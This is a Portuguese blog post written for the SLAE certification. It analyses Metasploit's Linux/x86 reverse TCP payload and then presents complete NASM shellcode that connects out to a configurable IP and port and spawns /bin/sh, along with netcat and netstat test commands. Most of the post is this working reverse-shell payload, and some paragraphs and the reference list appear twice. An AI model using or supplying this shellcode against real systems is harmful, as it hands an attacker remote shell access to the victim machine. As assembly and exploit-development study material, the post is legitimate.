/*
Este post é uma sequência. Para melhor entendimento, vejam:
*/
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-237
Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/2nd.assignment
Tks Jonathan Salwan.
</UPDATE>
</UPDATE>
Segundo Exame
Vivek, para este assignment, designou o seguinte:
Criar um shellcode de Shell Reverse TCP
- Executar um shell ao conectar no host reverso
- Tornar fácil a configuração dos IP e porta
Como material, analisar o linux/x86/shell_reverse_tcp do Metasploit usando o libemu.
libemu - sctest - strace - man
Comecei gerando o fluxograma do shellcode do Metasploit.
# msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 R | /opt/libemu/bin/sctest -Ss 100000 -vvv -G shell_reverse_tcp_metasploit.dot
# dot shell_reverse_tcp_metasploit.dot -T png -o shell_reverse_tcp_metasploit.png
# dot shell_reverse_tcp_metasploit.dot -T png -o shell_reverse_tcp_metasploit.png
Vê-se que, diferentemente dos shell_bind_tcp nos quais trabalhamos nos posts anteriores, o shell_reverse_tcp, logo após a criação do socket (socket), faz a duplicação (dup2) dos files descriptors e já efetua a conexão (connect) nos endereço e porta definidos para finalmente executar (execve) o "/bin/sh".
Usei também o strace para analisar o netcat, como complemento ao libemu. O que me me poupou tempo, pois não precisei reconstruir o binário para entender melhor a syscall connect; e nem é necessário comentar que o uso do man deixou o meu .bash_history um pouquinho mais gordo. =D
Usei também o strace para analisar o netcat, como complemento ao libemu. O que me me poupou tempo, pois não precisei reconstruir o binário para entender melhor a syscall connect; e nem é necessário comentar que o uso do man deixou o meu .bash_history um pouquinho mais gordo. =D
# nc -l 127.0.0.1 55555
Em outro terminal.
# strace -e socket,connect nc 127.0.0.1 55555
...
...
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(55555), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
connect(3, {sa_family=AF_INET, sin_port=htons(55555), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
Com as novas informações anotadas e revisadas, construí de primeira o shellcode enxuto em assembly nasm.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shell_reverse_tcp.asm | |
global _start | |
section .text | |
_start: | |
; host | |
push 0x0101017f ; IP Number "127.1.1.1" in hex reverse order | |
pop esi | |
; port | |
push WORD 0x03d9 ; Port Number 55555 in hex reverse order | |
pop edi | |
; syscalls (/usr/include/asm/unistd_32.h) | |
; socketcall numbers (/usr/include/linux/net.h) | |
; Creating the socket file descriptor | |
; int socket(int domain, int type, int protocol); | |
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) | |
push 102 | |
pop eax ; syscall 102 - socketcall | |
cdq | |
push 1 | |
pop ebx ; socketcall type (sys_socket 1) | |
push edx ; IPPROTO_IP = 0 (int) | |
push ebx ; SOCK_STREAM = 1 (int) | |
push 2 ; AF_INET = 2 (int) | |
finalint: | |
mov ecx, esp ; ptr to argument array | |
int 0x80 ; kernel interruption | |
xchg ebx, eax ; set ebx with the sockfd | |
; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) | |
; int dup2(int oldfd, int newfd); | |
; dup2 (clientfd, ...) | |
pop ecx | |
dup_loop: | |
mov al, 63 ; syscall 63 - dup2 | |
int 0x80 | |
dec ecx | |
jns dup_loop | |
; Connecting the duplicated file descriptor to the host | |
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); | |
; connect(sockfd, [AF_INET, 55555, 127.1.1.1], 16) | |
mov al, 102 ; syscall 102 - socketcall | |
; socketcall type (sys_connect) 3 - ebx already has it | |
; host address structure | |
push esi ; IP number | |
push di ; port in byte reverse order = 55555 (uint16_t) | |
push WORD 2 ; AF_INET = 2 (unsigned short int) | |
mov ecx, esp ; struct pointer | |
; connect arguments | |
push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t) | |
push ecx ; sockaddr_in struct pointer (struct sockaddr *) | |
push ebx ; socket fd (int) | |
mov ecx, esp | |
int 0x80 | |
; Finally, using execve to substitute the actual process with /bin/sh | |
; int execve(const char *filename, char *const argv[], char *const envp[]); | |
; exevcve("/bin/sh", NULL, NULL) | |
mov al, 11 ; execve syscall | |
; execve string argument | |
push edx ; null-byte | |
push 0x68732f2f ; "//sh" | |
push 0x6e69622f ; "/bin" | |
mov ebx, esp ; ptr to ["bin//sh", NULL] string | |
push edx ; null ptr to argv | |
push ebx ; null ptr to envp | |
jmp finalint ; and jump to bingo |
Por conta da possibilidade trivial de se configurar a porta e o IP, o shellcode só estará livre de null-bytes caso esses valores não tenham numeração em hexa x00. Entretanto, se o null-byte realmente impossibilitar a utilização do shellcode, temos outras maneiras de darmos bypass. Em próximos posts veremos isso.
O shellcode final teve um aumento de 4 bytes, ficando com 72 (metasploit = 68). Esse acréscimo se deu pela propriedade da configuração do IP e da Porta nos seus primeiros bytes. Mesmo com as instruções diferentes, o resultado foi igual. Vejam.
TESTANDO
Terminal host
# nc -l 127.1.1.1 55555
Terminal cliente
# ./shellcode
Terminal host novamente
# netstat -anp | grep shell
tcp 0 0 127.0.0.1:51600 127.1.1.1:55555 ESTABLISHED 976/shellcode
Reversing (Gotcha)
Mais um shellcode construído: Shell Reverse TCP (Linux/x86) com IP e porta facilmente configuráveis (segundo ao quinto e nono ao décimo byte, respectivamente).P.S.
Se você encontrar alguma forma de reduzir a quantidade de bytes do shellcode apresentado, entre em contato para discutirmos. Com todo prazer, farei as alterações colocando os devidos créditos.
[]
Mais Informações
SLAE - SecurityTube Linux Assembly ExpertSecurityTube
libemu
Metasploit
Metasploit Unleashed - Offensive Security
Berkeley Sockets
Shell-Storm
exploit-db
Project Shellcode
Endianness
Linux Assembly
Introdução à Arquitetura de Computadores - bugseq team - Tiago Natel (i4k)
Construindo Shellcodes - Victor Mello (m0nad)
Understanding Intel Instruction Sizes - William Swanson
The Art of Picking Intel Registers - William Swanson
Smashing The Stack For Fun And Profit - Aleph One
Get all shellcode on binary - commandlinefu
Metasploit
Metasploit Unleashed - Offensive Security
Berkeley Sockets
Shell-Storm
exploit-db
Project Shellcode
Endianness
Linux Assembly
Introdução à Arquitetura de Computadores - bugseq team - Tiago Natel (i4k)
Construindo Shellcodes - Victor Mello (m0nad)
Understanding Intel Instruction Sizes - William Swanson
The Art of Picking Intel Registers - William Swanson
Smashing The Stack For Fun And Profit - Aleph One
Get all shellcode on binary - commandlinefu
Animal cara! Valeu por compartilhar sua experiência :)
ResponderExcluirObrigado Marcelo!
Excluir"I consider that the golden rule requires that if I like a program I must share it with other people who like it."
(Richard M Stallman)
"Software is like sex; it's better when it's free"
(Linus Torvalds at 1996 FSF conference)